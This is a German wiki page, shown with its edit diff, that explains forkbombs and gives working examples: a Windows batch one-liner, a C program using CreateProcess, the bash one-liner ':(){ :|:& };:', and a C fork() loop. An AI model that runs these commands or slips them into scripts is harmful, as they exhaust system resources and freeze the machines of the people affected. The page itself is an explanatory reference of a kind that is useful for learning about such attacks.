Forkbomb: Unterschied zwischen den Versionen
Keine Bearbeitungszusammenfassung |
Keine Bearbeitungszusammenfassung |
||
Zeile 20: | Zeile 20: | ||
while (1) { | while (1) { | ||
SetConsoleCtrlHandler(0, 1); | SetConsoleCtrlHandler(0, 1); | ||
CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi); | CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);}return 0; | ||
Linux debian | Linux debian | ||
Version vom 17. Juli 2019, 10:47 Uhr
Beschreibung
Eine Forkbomb, auch Rabbit genannt, ist ein Programm, dessen einziger Zweck es ist, rekursiv Kopien seiner selbst zu starten, alle verfügbaren Systemressourcen zu verbrauchen und so das System zu blockieren.
Microsoft-Windows-Batch-Datei
Option
%0|%0
programiersprache c unter windoes
#include <windows.h> int main(int argc, char **argv) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); while (1) {
SetConsoleCtrlHandler(0, 1); CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);}return 0;
Linux debian
Option
:(){ :|:& };:
Programmiersprache C unter linux
#include <unistd.h> int main(void){ for(;;) fork(); return 0;
}